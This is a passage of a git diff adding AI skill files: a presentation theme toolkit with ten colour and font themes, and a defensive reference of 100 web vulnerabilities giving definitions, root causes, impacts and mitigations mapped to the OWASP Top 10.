+ agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/theme-factory/SKILL.md b/skills/theme-factory/SKILL.md new file mode 100644 index 00000000..90dfceaf --- /dev/null +++ b/skills/theme-factory/SKILL.md @@ -0,0 +1,59 @@ +--- +name: theme-factory +description: Toolkit for styling artifacts with a theme. These artifacts can be slides, docs, reportings, HTML landing pages, etc. There are 10 pre-set themes with colors/fonts that you can apply to any artifact that has been creating, or can generate a new theme on-the-fly. +license: Complete terms in LICENSE.txt +--- + + +# Theme Factory Skill + +This skill provides a curated collection of professional font and color themes themes, each with carefully selected color palettes and font pairings. Once a theme is chosen, it can be applied to any artifact. + +## Purpose + +To apply consistent, professional styling to presentation slide decks, use this skill. Each theme includes: +- A cohesive color palette with hex codes +- Complementary font pairings for headers and body text +- A distinct visual identity suitable for different contexts and audiences + +## Usage Instructions + +To apply styling to a slide deck or other artifact: + +1. **Show the theme showcase**: Display the `theme-showcase.pdf` file to allow users to see all available themes visually. Do not make any modifications to it; simply show the file for viewing. +2. **Ask for their choice**: Ask which theme to apply to the deck +3. **Wait for selection**: Get explicit confirmation about the chosen theme +4. **Apply the theme**: Once a theme has been chosen, apply the selected theme's colors and fonts to the deck/artifact + +## Themes Available + +The following 10 themes are available, each showcased in `theme-showcase.pdf`: + +1. **Ocean Depths** - Professional and calming maritime theme +2. **Sunset Boulevard** - Warm and vibrant sunset colors +3. **Forest Canopy** - Natural and grounded earth tones +4. **Modern Minimalist** - Clean and contemporary grayscale +5. **Golden Hour** - Rich and warm autumnal palette +6. **Arctic Frost** - Cool and crisp winter-inspired theme +7. **Desert Rose** - Soft and sophisticated dusty tones +8. **Tech Innovation** - Bold and modern tech aesthetic +9. **Botanical Garden** - Fresh and organic garden colors +10. **Midnight Galaxy** - Dramatic and cosmic deep tones + +## Theme Details + +Each theme is defined in the `themes/` directory with complete specifications including: +- Cohesive color palette with hex codes +- Complementary font pairings for headers and body text +- Distinct visual identity suitable for different contexts and audiences + +## Application Process + +After a preferred theme is selected: +1. Read the corresponding theme file from the `themes/` directory +2. Apply the specified colors and fonts consistently throughout the deck +3. Ensure proper contrast and readability +4. Maintain the theme's visual identity across all slides + +## Create your Own Theme +To handle cases where none of the existing themes work for an artifact, create a custom theme. Based on provided inputs, generate a new theme similar to the ones above. Give the theme a similar name describing what the font/color combinations represent. Use any basic description provided to choose appropriate colors/fonts. After generating the theme, show it for review and verification. Following that, apply the theme as described above. diff --git a/skills/theme-factory/theme-showcase.pdf b/skills/theme-factory/theme-showcase.pdf new file mode 100644 index 00000000..24495d14 Binary files /dev/null and b/skills/theme-factory/theme-showcase.pdf differ diff --git a/skills/theme-factory/themes/arctic-frost.md b/skills/theme-factory/themes/arctic-frost.md new file mode 100644 index 00000000..e9f1eb05 --- /dev/null +++ b/skills/theme-factory/themes/arctic-frost.md @@ -0,0 +1,19 @@ +# Arctic Frost + +A cool and crisp winter-inspired theme that conveys clarity, precision, and professionalism. + +## Color Palette + +- **Ice Blue**: `#d4e4f7` - Light backgrounds and highlights +- **Steel Blue**: `#4a6fa5` - Primary accent color +- **Silver**: `#c0c0c0` - Metallic accent elements +- **Crisp White**: `#fafafa` - Clean backgrounds and text + +## Typography + +- **Headers**: DejaVu Sans Bold +- **Body Text**: DejaVu Sans + +## Best Used For + +Healthcare presentations, technology solutions, winter sports, clean tech, pharmaceutical content. diff --git a/skills/theme-factory/themes/botanical-garden.md b/skills/theme-factory/themes/botanical-garden.md new file mode 100644 index 00000000..0c95bf73 --- /dev/null +++ b/skills/theme-factory/themes/botanical-garden.md @@ -0,0 +1,19 @@ +# Botanical Garden + +A fresh and organic theme featuring vibrant garden-inspired colors for lively presentations. + +## Color Palette + +- **Fern Green**: `#4a7c59` - Rich natural green +- **Marigold**: `#f9a620` - Bright floral accent +- **Terracotta**: `#b7472a` - Earthy warm tone +- **Cream**: `#f5f3ed` - Soft neutral backgrounds + +## Typography + +- **Headers**: DejaVu Serif Bold +- **Body Text**: DejaVu Sans + +## Best Used For + +Garden centers, food presentations, farm-to-table content, botanical brands, natural products. diff --git a/skills/theme-factory/themes/desert-rose.md b/skills/theme-factory/themes/desert-rose.md new file mode 100644 index 00000000..ea7c74eb --- /dev/null +++ b/skills/theme-factory/themes/desert-rose.md @@ -0,0 +1,19 @@ +# Desert Rose + +A soft and sophisticated theme with dusty, muted tones perfect for elegant presentations. + +## Color Palette + +- **Dusty Rose**: `#d4a5a5` - Soft primary color +- **Clay**: `#b87d6d` - Earthy accent +- **Sand**: `#e8d5c4` - Warm neutral backgrounds +- **Deep Burgundy**: `#5d2e46` - Rich dark contrast + +## Typography + +- **Headers**: FreeSans Bold +- **Body Text**: FreeSans + +## Best Used For + +Fashion presentations, beauty brands, wedding planning, interior design, boutique businesses. diff --git a/skills/theme-factory/themes/forest-canopy.md b/skills/theme-factory/themes/forest-canopy.md new file mode 100644 index 00000000..90c2b265 --- /dev/null +++ b/skills/theme-factory/themes/forest-canopy.md @@ -0,0 +1,19 @@ +# Forest Canopy + +A natural and grounded theme featuring earth tones inspired by dense forest environments. + +## Color Palette + +- **Forest Green**: `#2d4a2b` - Primary dark green +- **Sage**: `#7d8471` - Muted green accent +- **Olive**: `#a4ac86` - Light accent color +- **Ivory**: `#faf9f6` - Backgrounds and text + +## Typography + +- **Headers**: FreeSerif Bold +- **Body Text**: FreeSans + +## Best Used For + +Environmental presentations, sustainability reports, outdoor brands, wellness content, organic products. diff --git a/skills/theme-factory/themes/golden-hour.md b/skills/theme-factory/themes/golden-hour.md new file mode 100644 index 00000000..ed8fc256 --- /dev/null +++ b/skills/theme-factory/themes/golden-hour.md @@ -0,0 +1,19 @@ +# Golden Hour + +A rich and warm autumnal palette that creates an inviting and sophisticated atmosphere. + +## Color Palette + +- **Mustard Yellow**: `#f4a900` - Bold primary accent +- **Terracotta**: `#c1666b` - Warm secondary color +- **Warm Beige**: `#d4b896` - Neutral backgrounds +- **Chocolate Brown**: `#4a403a` - Dark text and anchors + +## Typography + +- **Headers**: FreeSans Bold +- **Body Text**: FreeSans + +## Best Used For + +Restaurant presentations, hospitality brands, fall campaigns, cozy lifestyle content, artisan products. diff --git a/skills/theme-factory/themes/midnight-galaxy.md b/skills/theme-factory/themes/midnight-galaxy.md new file mode 100644 index 00000000..97e1c5f3 --- /dev/null +++ b/skills/theme-factory/themes/midnight-galaxy.md @@ -0,0 +1,19 @@ +# Midnight Galaxy + +A dramatic and cosmic theme with deep purples and mystical tones for impactful presentations. + +## Color Palette + +- **Deep Purple**: `#2b1e3e` - Rich dark base +- **Cosmic Blue**: `#4a4e8f` - Mystical mid-tone +- **Lavender**: `#a490c2` - Soft accent color +- **Silver**: `#e6e6fa` - Light highlights and text + +## Typography + +- **Headers**: FreeSans Bold +- **Body Text**: FreeSans + +## Best Used For + +Entertainment industry, gaming presentations, nightlife venues, luxury brands, creative agencies. diff --git a/skills/theme-factory/themes/modern-minimalist.md b/skills/theme-factory/themes/modern-minimalist.md new file mode 100644 index 00000000..6bd26a29 --- /dev/null +++ b/skills/theme-factory/themes/modern-minimalist.md @@ -0,0 +1,19 @@ +# Modern Minimalist + +A clean and contemporary theme with a sophisticated grayscale palette for maximum versatility. + +## Color Palette + +- **Charcoal**: `#36454f` - Primary dark color +- **Slate Gray**: `#708090` - Medium gray for accents +- **Light Gray**: `#d3d3d3` - Backgrounds and dividers +- **White**: `#ffffff` - Text and clean backgrounds + +## Typography + +- **Headers**: DejaVu Sans Bold +- **Body Text**: DejaVu Sans + +## Best Used For + +Tech presentations, architecture portfolios, design showcases, modern business proposals, data visualization. diff --git a/skills/theme-factory/themes/ocean-depths.md b/skills/theme-factory/themes/ocean-depths.md new file mode 100644 index 00000000..b675126f --- /dev/null +++ b/skills/theme-factory/themes/ocean-depths.md @@ -0,0 +1,19 @@ +# Ocean Depths + +A professional and calming maritime theme that evokes the serenity of deep ocean waters. + +## Color Palette + +- **Deep Navy**: `#1a2332` - Primary background color +- **Teal**: `#2d8b8b` - Accent color for highlights and emphasis +- **Seafoam**: `#a8dadc` - Secondary accent for lighter elements +- **Cream**: `#f1faee` - Text and light backgrounds + +## Typography + +- **Headers**: DejaVu Sans Bold +- **Body Text**: DejaVu Sans + +## Best Used For + +Corporate presentations, financial reports, professional consulting decks, trust-building content. diff --git a/skills/theme-factory/themes/sunset-boulevard.md b/skills/theme-factory/themes/sunset-boulevard.md new file mode 100644 index 00000000..df799a0c --- /dev/null +++ b/skills/theme-factory/themes/sunset-boulevard.md @@ -0,0 +1,19 @@ +# Sunset Boulevard + +A warm and vibrant theme inspired by golden hour sunsets, perfect for energetic and creative presentations. + +## Color Palette + +- **Burnt Orange**: `#e76f51` - Primary accent color +- **Coral**: `#f4a261` - Secondary warm accent +- **Warm Sand**: `#e9c46a` - Highlighting and backgrounds +- **Deep Purple**: `#264653` - Dark contrast and text + +## Typography + +- **Headers**: DejaVu Serif Bold +- **Body Text**: DejaVu Sans + +## Best Used For + +Creative pitches, marketing presentations, lifestyle brands, event promotions, inspirational content. diff --git a/skills/theme-factory/themes/tech-innovation.md b/skills/theme-factory/themes/tech-innovation.md new file mode 100644 index 00000000..e029a435 --- /dev/null +++ b/skills/theme-factory/themes/tech-innovation.md @@ -0,0 +1,19 @@ +# Tech Innovation + +A bold and modern theme with high-contrast colors perfect for cutting-edge technology presentations. + +## Color Palette + +- **Electric Blue**: `#0066ff` - Vibrant primary accent +- **Neon Cyan**: `#00ffff` - Bright highlight color +- **Dark Gray**: `#1e1e1e` - Deep backgrounds +- **White**: `#ffffff` - Clean text and contrast + +## Typography + +- **Headers**: DejaVu Sans Bold +- **Body Text**: DejaVu Sans + +## Best Used For + +Tech startups, software launches, innovation showcases, AI/ML presentations, digital transformation content. diff --git a/skills/top-web-vulnerabilities/SKILL.md b/skills/top-web-vulnerabilities/SKILL.md new file mode 100644 index 00000000..3120fc7b --- /dev/null +++ b/skills/top-web-vulnerabilities/SKILL.md @@ -0,0 +1,540 @@ +--- +name: Top 100 Web Vulnerabilities Reference +description: This skill should be used when the user asks to "identify web application vulnerabilities", "explain common security flaws", "understand vulnerability categories", "learn about injection attacks", "review access control weaknesses", "analyze API security issues", "assess security misconfigurations", "understand client-side vulnerabilities", "examine mobile and IoT security flaws", or "reference the OWASP-aligned vulnerability taxonomy". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories. +--- + +# Top 100 Web Vulnerabilities Reference + +## Purpose + +Provide a comprehensive, structured reference for the 100 most critical web application vulnerabilities organized by category. This skill enables systematic vulnerability identification, impact assessment, and remediation guidance across the full spectrum of web security threats. Content organized into 15 major vulnerability categories aligned with industry standards and real-world attack patterns. + +## Prerequisites + +- Basic understanding of web application architecture (client-server model, HTTP protocol) +- Familiarity with common web technologies (HTML, JavaScript, SQL, XML, APIs) +- Understanding of authentication and authorization concepts +- Access to web application security testing tools (Burp Suite, OWASP ZAP) +- Knowledge of secure coding principles recommended + +## Outputs and Deliverables + +- Complete vulnerability catalog with definitions, root causes, impacts, and mitigations +- Category-based vulnerability groupings for systematic assessment +- Quick reference for security testing and remediation +- Foundation for vulnerability assessment checklists and security policies + +--- + +## Core Workflow + +### Phase 1: Injection Vulnerabilities Assessment + +Evaluate injection attack vectors targeting data processing components: + +**SQL Injection (1)** +- Definition: Malicious SQL code inserted into input fields to manipulate database queries +- Root Cause: Lack of input validation, improper use of parameterized queries +- Impact: Unauthorized data access, data manipulation, database compromise +- Mitigation: Use parameterized queries/prepared statements, input validation, least privilege database accounts + +**Cross-Site Scripting - XSS (2)** +- Definition: Injection of malicious scripts into web pages viewed by other users +- Root Cause: Insufficient output encoding, lack of input sanitization +- Impact: Session hijacking, credential theft, website defacement +- Mitigation: Output encoding, Content Security Policy (CSP), input sanitization + +**Command Injection (5, 11)** +- Definition: Execution of arbitrary system commands through vulnerable applications +- Root Cause: Unsanitized user input passed to system shells +- Impact: Full system compromise, data exfiltration, lateral movement +- Mitigation: Avoid shell execution, whitelist valid commands, strict input validation + +**XML Injection (6), LDAP Injection (7), XPath Injection (8)** +- Definition: Manipulation of XML/LDAP/XPath queries through malicious input +- Root Cause: Improper input handling in query construction +- Impact: Data exposure, authentication bypass, information disclosure +- Mitigation: Input validation, parameterized queries, escape special characters + +**Server-Side Template Injection - SSTI (13)** +- Definition: Injection of malicious code into template engines +- Root Cause: User input embedded directly in template expressions +- Impact: Remote code execution, server compromise +- Mitigation: Sandbox template engines, avoid user input in templates, strict input validation + +### Phase 2: Authentication and Session Security + +Assess authentication mechanism weaknesses: + +**Session Fixation (14)** +- Definition: Attacker sets victim's session ID before authentication +- Root Cause: Session ID not regenerated after login +- Impact: Session hijacking, unauthorized account access +- Mitigation: Regenerate session ID on authentication, use secure session management + +**Brute Force Attack (15)** +- Definition: Systematic password guessing using automated tools +- Root Cause: Lack of account lockout, rate limiting, or CAPTCHA +- Impact: Unauthorized access, credential compromise +- Mitigation: Account lockout policies, rate limiting, MFA, CAPTCHA + +**Session Hijacking (16)** +- Definition: Attacker steals or predicts valid session tokens +- Root Cause: Weak session token generation, insecure transmission +- Impact: Account takeover, unauthorized access +- Mitigation: Secure random token generation, HTTPS, HttpOnly/Secure cookie flags + +**Credential Stuffing and Reuse (22)** +- Definition: Using leaked credentials to access accounts across services +- Root Cause: Users reusing passwords, no breach detection +- Impact: Mass account compromise, data breaches +- Mitigation: MFA, breach password checks, unique credential requirements + +**Insecure "Remember Me" Functionality (85)** +- Definition: Weak persistent authentication token implementation +- Root Cause: Predictable tokens, inadequate expiration controls +- Impact: Unauthorized persistent access, session compromise +- Mitigation: Strong token generation, proper expiration, secure storage + +**CAPTCHA Bypass (86)** +- Definition: Circumventing bot detection mechanisms +- Root Cause: Weak CAPTCHA algorithms, improper validation +- Impact: Automated attacks, credential stuffing, spam +- Mitigation: reCAPTCHA v3, layered bot detection, rate limiting + +### Phase 3: Sensitive Data Exposure + +Identify data protection failures: + +**IDOR - Insecure Direct Object References (23, 42)** +- Definition: Direct access to internal objects via user-supplied references +- Root Cause: Missing authorization checks on object access +- Impact: Unauthorized data access, privacy breaches +- Mitigation: Access control validation, indirect reference maps, authorization checks + +**Data Leakage (24)** +- Definition: Inadvertent disclosure of sensitive information +- Root Cause: Inadequate data protection, weak access controls +- Impact: Privacy breaches, regulatory penalties, reputation damage +- Mitigation: DLP solutions, encryption, access controls, security training + +**Unencrypted Data Storage (25)** +- Definition: Storing sensitive data without encryption +- Root Cause: Failure to implement encryption at rest +- Impact: Data breaches if storage compromised +- Mitigation: Full-disk encryption, database encryption, secure key management + +**Information Disclosure (33)** +- Definition: Exposure of system details through error messages or responses +- Root Cause: Verbose error handling, debug information in production +- Impact: Reconnaissance for further attacks, credential exposure +- Mitigation: Generic error messages, disable debug mode, secure logging + +### Phase 4: Security Misconfiguration + +Assess configuration weaknesses: + +**Missing Security Headers (26)** +- Definition: Absence of protective HTTP headers (CSP, X-Frame-Options, HSTS) +- Root Cause: Inadequate server configuration +- Impact: XSS attacks, clickjacking, protocol downgrade +- Mitigation: Implement CSP, X-Content-Type-Options, X-Frame-Options, HSTS + +**Default Passwords (28)** +- Definition: Unchanged default credentials on systems/applications +- Root Cause: Failure to change vendor defaults +- Impact: Unauthorized access, system compromise +- Mitigation: Mandatory password changes, strong password policies + +**Directory Listing (29)** +- Definition: Web server exposes directory contents +- Root Cause: Improper server configuration +- Impact: Information disclosure, sensitive file exposure +- Mitigation: Disable directory indexing, use default index files + +**Unprotected API Endpoints (30)** +- Definition: APIs lacking authentication or authorization +- Root Cause: Missing security controls on API routes +- Impact: Unauthorized data access, API abuse +- Mitigation: OAuth/API keys, access controls, rate limiting + +**Open Ports and Services (31)** +- Definition: Unnecessary network services exposed +- Root Cause: Failure to minimize attack surface +- Impact: Exploitation of vulnerable services +- Mitigation: Port scanning audits, firewall rules, service minimization + +**Misconfigured CORS (35)** +- Definition: Overly permissive Cross-Origin Resource Sharing policies +- Root Cause: Wildcard origins, improper CORS configuration +- Impact: Cross-site request attacks, data theft +- Mitigation: Whitelist trusted origins, validate CORS headers + +**Unpatched Software (34)** +- Definition: Systems running outdated vulnerable software +- Root Cause: Neglected patch management +- Impact: Exploitation of known vulnerabilities +- Mitigation: Patch management program, vulnerability scanning, automated updates + +### Phase 5: XML-Related Vulnerabilities + +Evaluate XML processing security: + +**XXE - XML External Entity Injection (37)** +- Definition: Exploitation of XML parsers to access files or internal systems +- Root Cause: External entity processing enabled +- Impact: File disclosure, SSRF, denial of service +- Mitigation: Disable external entities, use safe XML parsers + +**XEE - XML Entity Expansion (38)** +- Definition: Excessive entity expansion causing resource exhaustion +- Root Cause: Unlimited entity expansion allowed +- Impact: Denial of service, parser crashes +- Mitigation: Limit entity expansion, configure parser restrictions + +**XML Bomb (Billion Laughs) (39)** +- Definition: Crafted XML with nested entities consuming resources +- Root Cause: Recursive entity definitions +- Impact: Memory exhaustion, denial of service +- Mitigation: Entity expansion limits, input size restrictions + +**XML Denial of Service (65)** +- Definition: Specially crafted XML causing excessive processing +- Root Cause: Complex document structures without limits +- Impact: CPU/memory exhaustion, service unavailability +- Mitigation: Schema validation, size limits, processing timeouts + +### Phase 6: Broken Access Control + +Assess authorization enforcement: + +**Inadequate Authorization (40)** +- Definition: Failure to properly enforce access controls +- Root Cause: Weak authorization policies, missing checks +- Impact: Unauthorized access to sensitive resources +- Mitigation: RBAC, centralized IAM, regular access reviews + +**Privilege Escalation (41)** +- Definition: Gaining elevated access beyond intended permissions +- Root Cause: Misconfigured permissions, system vulnerabilities +- Impact: Full system compromise, data manipulation +- Mitigation: Least privilege, regular patching, privilege monitoring + +**Forceful Browsing (43)** +- Definition: Direct URL manipulation to access restricted resources +- Root Cause: Weak access controls, predictable URLs +- Impact: Unauthorized file/directory access +- Mitigation: Server-side access controls, unpredictable resource paths + +**Missing Function-Level Access Control (44)** +- Definition: Unprotected administrative or privileged functions +- Root Cause: Authorization only at UI level +- Impact: Unauthorized function execution +- Mitigation: Server-side authorization for all functions, RBAC + +### Phase 7: Insecure Deserialization + +Evaluate object serialization security: + +**Remote Code Execution via Deserialization (45)** +- Definition: Arbitrary code execution through malicious serialized objects +- Root Cause: Untrusted data deserialized without validation +- Impact: Complete system compromise, code execution +- Mitigation: Avoid deserializing untrusted data, integrity checks, type validation + +**Data Tampering (46)** +- Definition: Unauthorized modification of serialized data +- Root Cause: Missing integrity verification +- Impact: Data corruption, privilege manipulation +- Mitigation: Digital signatures, HMAC validation, encryption + +**Object Injection (47)** +- Definition: Malicious object instantiation during deserialization +- Root Cause: Unsafe deserialization practices +- Impact: Code execution, unauthorized access +- Mitigation: Type restrictions, class whitelisting, secure libraries + +### Phase 8: API Security Assessment + +Evaluate API-specific vulnerabilities: + +**Insecure API Endpoints (48)** +- Definition: APIs without proper security controls +- Root Cause: Poor API design, missing authentication +- Impact: Data breaches, unauthorized access +- Mitigation: OAuth/JWT, HTTPS, input validation, rate limiting + +**API Key Exposure (49)** +- Definition: Leaked or exposed API credentials +- Root Cause: Hardcoded keys, insecure storage +- Impact: Unauthorized API access, abuse +- Mitigation: Secure key storage, rotation, environment variables + +**Lack of Rate Limiting (50)** +- Definition: No controls on API request frequency +- Root Cause: Missing throttling mechanisms +- Impact: DoS, API abuse, resource exhaustion +- Mitigation: Rate limits per user/IP, throttling, DDoS protection + +**Inadequate Input Validation (51)** +- Definition: APIs accepting unvalidated user input +- Root Cause: Missing server-side validation +- Impact: Injection attacks, data corruption +- Mitigation: Strict validation, parameterized queries, WAF + +**API Abuse (75)** +- Definition: Exploiting API functionality for malicious purposes +- Root Cause: Excessive trust in client input +- Impact: Data theft, account takeover, service abuse +- Mitigation: Strong authentication, behavior analysis, anomaly detection + +### Phase 9: Communication Security + +Assess transport layer protections: + +**Man-in-the-Middle Attack (52)** +- Definition: Interception of communication between parties +- Root Cause: Unencrypted channels, compromised networks +- Impact: Data theft, session hijacking, impersonation +- Mitigation: TLS/SSL, certificate pinning, mutual authentication + +**Insufficient Transport Layer Security (53)** +- Definition: Weak or outdated encryption for data in transit +- Root Cause: Outdated protocols (SSLv2/3), weak ciphers +- Impact: Traffic interception, credential theft +- Mitigation: TLS 1.2+, strong cipher suites, HSTS + +**Insecure SSL/TLS Configuration (54)** +- Definition: Improperly configured encryption settings +- Root Cause: Weak ciphers, missing forward secrecy +- Impact: Traffic decryption, MITM attacks +- Mitigation: Modern cipher suites, PFS, certificate validation + +**Insecure Communication Protocols (55)** +- Definition: Use of unencrypted protocols (HTTP, Telnet, FTP) +- Root Cause: Legacy systems, security unawareness +- Impact: Traffic sniffing, credential exposure +- Mitigation: HTTPS, SSH, SFTP, VPN tunnels + +### Phase 10: Client-Side Vulnerabilities + +Evaluate browser-side security: + +**DOM-based XSS (56)** +- Definition: XSS through client-side JavaScript manipulation +- Root Cause: Unsafe DOM manipulation with user input +- Impact: Session theft, credential harvesting +- Mitigation: Safe DOM APIs, CSP, input sanitization + +**Insecure Cross-Origin Communication (57)** +- Definition: Improper handling of cross-origin requests +- Root Cause: Relaxed CORS/SOP policies +- Impact: Data leakage, CSRF attacks +- Mitigation: Strict CORS, CSRF tokens, origin validation + +**Browser Cache Poisoning (58)** +- Definition: Manipulation of cached content +- Root Cause: Weak cache validation +- Impact: Malicious content delivery +- Mitigation: Cache-Control headers, HTTPS, integrity checks + +**Clickjacking (59, 71)** +- Definition: UI redress attack tricking users into clicking hidden elements +- Root Cause: Missing frame protection +- Impact: Unintended actions, credential theft +- Mitigation: X-Frame-Options, CSP frame-ancestors, frame-busting + +**HTML5 Security Issues (60)** +- Definition: Vulnerabilities in HTML5 APIs (WebSockets, Storage, Geolocation) +- Root Cause: Improper API usage, insufficient validation +- Impact: Data leakage, XSS, privacy violations +- Mitigation: Secure API usage, input validation, sandboxing + +### Phase 11: Denial of Service Assessment + +Evaluate availability threats: + +**DDoS - Distributed Denial of Service (61)** +- Definition: Overwhelming systems with traffic from multiple sources +- Root Cause: Botnets, amplification attacks +- Impact: Service unavailability, revenue loss +- Mitigation: DDoS protection services, rate limiting, CDN + +**Application Layer DoS (62)** +- Definition: Targeting application logic to exhaust resources +- Root Cause: Inefficient code, resource-intensive operations +- Impact: Application unavailability, degraded performance +- Mitigation: Rate limiting, caching, WAF, code optimization + +**Resource Exhaustion (63)** +- Definition: Depleting CPU, memory, disk, or network resources +- Root Cause: Inefficient resource management +- Impact: System crashes, service degradation +- Mitigation: Resource quotas, monitoring, load balancing + +**Slowloris Attack (64)** +- Definition: Keeping connections open with partial HTTP requests +- Root Cause: No connection timeouts +- Impact: Web server resource exhaustion +- Mitigation: Connection timeouts, request limits, reverse proxy + +### Phase 12: Server-Side Request Forgery + +Assess SSRF vulnerabilities: + +**SSRF - Server-Side Request Forgery (66)** +- Definition: Manipulating server to make requests to internal resources +- Root Cause: Unvalidated user-controlled URLs +- Impact: Internal network access, data theft, cloud metadata access +- Mitigation: URL whitelisting, network segmentation, egress filtering + +**Blind SSRF (87)** +- Definition: SSRF without direct response visibility +- Root Cause: Similar to SSRF, harder to detect +- Impact: Data exfiltration, internal reconnaissance +- Mitigation: Allowlists, WAF, network restrictions + +**Time-Based Blind SSRF (88)** +- Definition: Inferring SSRF success through response timing +- Root Cause: Processing delays indicating request outcomes +- Impact: Prolonged exploitation, detection evasion +- Mitigation: Request timeouts, anomaly detection, timing monitoring + +### Phase 13: Additional Web Vulnerabilities + +| # | Vulnerability | Root Cause | Impact | Mitigation | +|---|--------------|-----------|--------|------------| +| 67 | HTTP Parameter Pollution | Inconsistent parsing | Injection, ACL bypass | Strict parsing, validation | +| 68 | Insecure Redirects | Unvalidated targets | Phishing, malware | Whitelist destinations | +| 69 | File Inclusion (LFI/RFI) | Unvalidated paths | Code exec, disclosure | Whitelist files, disable RFI | +| 70 | Security Header Bypass | Misconfigured headers | XSS, clickjacking | Proper headers, audits | +| 72 | Inadequate Session Timeout | Excessive timeouts | Session hijacking | Idle termination, timeouts | +| 73 | Insufficient Logging | Missing infrastructure | Detection gaps | SIEM, alerting | +| 74 | Business Logic Flaws | Insecure design | Fraud, unauthorized ops | Threat modeling, testing | + +### Phase 14: Mobile and IoT Security + +| # | Vulnerability | Root Cause | Impact | Mitigation | +|---|--------------|-----------|--------|------------| +| 76 | Insecure Mobile Storage | Plain text, weak crypto | Data theft | Keychain/Keystore, encrypt | +| 77 | Insecure Mobile Transmission | HTTP, cert failures | Traffic interception | TLS, cert pinning | +| 78 | Insecure Mobile APIs | Missing auth/validation | Data exposure | OAuth/JWT, validation | +| 79 | App Reverse Engineering | Hardcoded creds | Credential theft | Obfuscation, RASP | +| 80 | IoT Management Issues | Weak auth, no TLS | Device takeover | Strong auth, TLS | +| 81 | Weak IoT Authentication | Default passwords | Unauthorized access | Unique creds, MFA | +| 82 | IoT Vulnerabilities | Design flaws, old firmware | Botnet recruitment | Updates, segmentation | +| 83 | Smart Home Access | Insecure defaults | Privacy invasion | MFA, segmentation | +| 84 | IoT Privacy Issues | Excessive collection | Surveillance | Data minimization | + +### Phase 15: Advanced and Zero-Day Threats + +| # | Vulnerability | Root Cause | Impact | Mitigation | +|---|--------------|-----------|--------|------------| +| 89 | MIME Sniffing | Missing headers | XSS, spoofing | X-Content-Type-Options | +| 91 | CSP Bypass | Weak config | XSS despite CSP | Strict CSP, nonces | +| 92 | Inconsistent Validation | Decentralized logic | Control bypass | Centralized validation | +| 93 | Race Conditions | Missing sync | Privilege escalation | Proper locking | +| 94-95 | Business Logic Flaws | Missing validation | Financial fraud | Server-side validation | +| 96 | Account Enumeration | Different responses | Targeted attacks | Uniform responses | +| 98-99 | Unpatched Vulnerabilities | Patch delays | Zero-day exploitation | Patch management | +| 100 | Zero-Day Exploits | Unknown vulns | Unmitigated attacks | Defense in depth | + +--- + +## Quick Reference + +### Vulnerability Categories Summary + +| Category | Vulnerability Numbers | Key Controls | +|----------|----------------------|--------------| +| Injection | 1-13 | Parameterized queries, input validation, output encoding | +| Authentication | 14-23, 85-86 | MFA, session management, account lockout | +| Data Exposure | 24-27 | Encryption at rest/transit, access controls, DLP | +| Misconfiguration | 28-36 | Secure defaults, hardening, patching | +| XML | 37-39, 65 | Disable external entities, limit expansion | +| Access Control | 40-44 | RBAC, least privilege, authorization checks | +| Deserialization | 45-47 | Avoid untrusted data, integrity validation | +| API Security | 48-51, 75 | OAuth, rate limiting, input validation | +| Communication | 52-55 | TLS 1.2+, certificate validation, HTTPS | +| Client-Side | 56-60 | CSP, X-Frame-Options, safe DOM | +| DoS | 61-65 | Rate limiting, DDoS protection, resource limits | +| SSRF | 66, 87-88 | URL whitelisting, egress filtering | +| Mobile/IoT | 76-84 | Encryption, authentication, secure storage | +| Business Logic | 74, 92-97 | Threat modeling, logic testing | +| Zero-Day | 98-100 | Defense in depth, threat intelligence | + +### Critical Security Headers + +``` +Content-Security-Policy: default-src 'self'; script-src 'self' +X-Content-Type-Options: nosniff +X-Frame-Options: DENY +X-XSS-Protection: 1; mode=block +Strict-Transport-Security: max-age=31536000; includeSubDomains +Referrer-Policy: strict-origin-when-cross-origin +Permissions-Policy: geolocation=(), microphone=() +``` + +### OWASP Top 10 Mapping + +| OWASP 2021 | Related Vulnerabilities | +|------------|------------------------| +| A01: Broken Access Control | 40-44, 23, 74 | +| A02: Cryptographic Failures | 24-25, 53-55 | +| A03: Injection | 1-13, 37-39 | +| A04: Insecure Design | 74, 92-97 | +| A05: Security Misconfiguration | 26-36 | +| A06: Vulnerable Components | 34, 98-100 | +| A07: Auth Failures | 14-23, 85-86 | +| A08: Data Integrity | 45-47 | +| A09: Logging Failures | 73 | +| A10: SSRF | 66, 87-88 | + +--- + +## Constraints and Limitations + +- Vulnerability definitions represent common patterns; specific implementations vary +- Mitigations must be 